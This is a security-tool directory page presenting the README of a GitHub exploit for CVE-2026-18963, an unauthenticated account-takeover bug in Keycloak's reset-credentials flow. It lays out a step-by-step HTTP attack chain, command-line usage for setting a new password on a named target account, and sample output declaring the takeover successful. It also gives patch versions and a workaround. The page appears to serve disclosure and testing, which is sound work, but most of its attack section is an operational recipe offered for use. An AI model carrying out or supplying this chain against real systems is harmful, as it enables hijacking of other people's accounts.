Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Exploit-For-CVE-2026-18963 — Exploit for CVE-2026-18963, a critical unauthenticated account takeover in Keycloak's reset-credentials flow, chaining two bugs to bypass email verification and set a new password. | Kitploit
Tools/GitHubGitHub/blackhatexploitation/exploit-for-cve-2026-18963
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingAuthentication
GitHubblackhatexploitation/exploit-for-cve-2026-18963

Exploit-For-CVE-2026-18963

Exploit for CVE-2026-18963, a critical unauthenticated account takeover in Keycloak's reset-credentials flow, chaining two bugs to bypass email verification and set a new password.

View Repository
2 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-18963 — Keycloak Unauthenticated Account Takeover

CVSS 9.1 Critical · Keycloak 26.0.0 – 26.7.1 · Unauthenticated

A critical vulnerability in Keycloak's reset-credentials flow that allows an unauthenticated attacker to take over any user account without email verification by chaining two bugs in the authentication session handling.


Vulnerability Details

FieldValue
CVECVE-2026-18963
CVSS Score9.1 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWECWE-640 — Weak Password Recovery Mechanism
AffectedKeycloak 26.0.0 – 26.7.1
Patched26.4.15 / 26.6.6 / 26.7.2 / 26.8.0
Componentkeycloak-services (reset-credentials flow)
Referencehttps://github.com/keycloak/keycloak/issues/51833

Root Cause

Two bugs are chained:

Bug 1 — tryAnotherWay handler stores the note
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" in the auth session without scoping it to any execution ID.

Bug 2 — ResetCredentialEmail.action() calls context.success() (skipping email verification entirely) whenever that note is present, without checking ACTION_TOKEN_USER_ID.


Attack Chain

root@kitploit:~
1. GET  /realms/{realm}/protocol/openid-connect/auth
         → Establish OIDC session, extract forgot-password link

2. GET  /login-actions/reset-credentials?...
         → Load reset-credentials form

3. POST tryAnotherWay=on
         → Sets AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED note (Bug 1)

4. POST username={target}  →  selector form
         → Binds target user to auth session, triggers email step

5. GET  /login-actions/restart?...
         → Optional: mirror browser session polling

6. GET  /login-actions/reset-credentials?...  (same URL as step 2)
         → Stale selector note still present → credential selector re-appears

7. POST username={target}  →  stale selector
         → ResetCredentialEmail sees the note, calls context.success() (Bug 2)
         → Flow advances directly to UPDATE_PASSWORD — no email sent

8. POST password-new={attacker_password}
         → Account taken over

Requirements

root@kitploit:~
python3 -m pip install requests

Usage

root@kitploit:~
python3 exploit_cve_2026_18963.py \
    --url https://target.com \
    --realm master \
    --username [email protected] \
    --new-password NewPass123!

Options

root@kitploit:~
--url              Keycloak base URL (required)
--realm            Target realm (default: master)
--username         Username or email of the account to take over (required)
--new-password     Password to set on the target account (required)
--client-id        OIDC client ID (default: account)
--auth-prefix      auto | new | old
                     auto = detect automatically (default)
                     new  = /realms/...        (Keycloak >= 17)
                     old  = /auth/realms/...   (Keycloak < 17)
-v, --verbose      Print full HTTP trace
--skip-version-check

Examples

root@kitploit:~
# Auto-detect old/new Keycloak URL prefix
python3 exploit_cve_2026_18963.py \
    --url https://sso.example.com \
    --realm myrealm \
    --username [email protected] \
    --new-password Pwn3d2026!

# Force legacy /auth/ prefix (Keycloak < 17)
python3 exploit_cve_2026_18963.py \
    --url https://sso.example.com \
    --realm myrealm \
    --username [email protected] \
    --new-password Pwn3d2026! \
    --auth-prefix old

# Verbose HTTP trace
python3 exploit_cve_2026_18963.py \
    --url https://sso.example.com \
    --realm myrealm \
    --username [email protected] \
    --new-password Pwn3d2026! \
    -v

Output

root@kitploit:~
  CVE-2026-18963  |  Keycloak Unauthenticated Account Takeover
  User   : [email protected]

[Step 0] Detecting version & path prefix
[+] Path prefix: '/auth'  →  detected
[?] Version not detected — proceeding anyway.

  Target : https://sso.example.com/auth/realms/myrealm

[Step 1] Open reset-credentials form via OIDC forgot-password link
[+] OIDC session established
[+] Reset-credentials form loaded

[Step 2] POST tryAnotherWay=on  →  set selector note (Bug 1)
[+] Credential selector form received

[Step 3] POST username='[email protected]'  →  bind user, trigger email step
[+] Email step triggered — session polling URL found

[Step 4] GET session polling path (optional)

[Step 5] Re-visit forgot-password URL  →  get stale selector
[+] Stale credential selector form received

[Step 6] POST username to stale selector  →  trigger bypass (Bug 2)
[+] BYPASS SUCCESSFUL — update-password form received

[Step 7] Set new password

============================================================
  [+] SUCCESS — Account Takeover Complete
  [+] Target   : https://sso.example.com/auth/realms/myrealm
  [+] User     : [email protected]
  [+] Password : Pwn3d2026!
============================================================

Compatibility

Keycloak VersionURL PrefixVulnerable
< 17.x/auth/realms/✅ if 26.x range
≥ 17.x/realms/✅ if < 26.7.2
26.4.15+ / 26.6.6+ / 26.7.2+ / 26.8.0+any❌ Patched

The script automatically detects whether the target uses the legacy /auth/ prefix or the modern path, so it works against both old and new deployments without manual configuration.


Mitigation

Patch (recommended): Upgrade to one of the fixed versions:

  • 26.4.15 or later in the 26.4.x line
  • 26.6.6 or later in the 26.6.x line
  • 26.7.2 or later in the 26.7.x line
  • 26.8.0 or later

Temporary workaround: Disable Forgot Password on all realms:
Realm Settings → Login → Forgot Password → OFF


References

  • https://github.com/keycloak/keycloak/issues/51833
  • https://github.com/projectdiscovery/nuclei-templates/pull/16995
  • https://x.com/i/status/2092010596980150359

Disclaimer

This tool is for authorized security testing and educational purposes only. Use only against systems you own or have explicit written permission to test.

Download Tool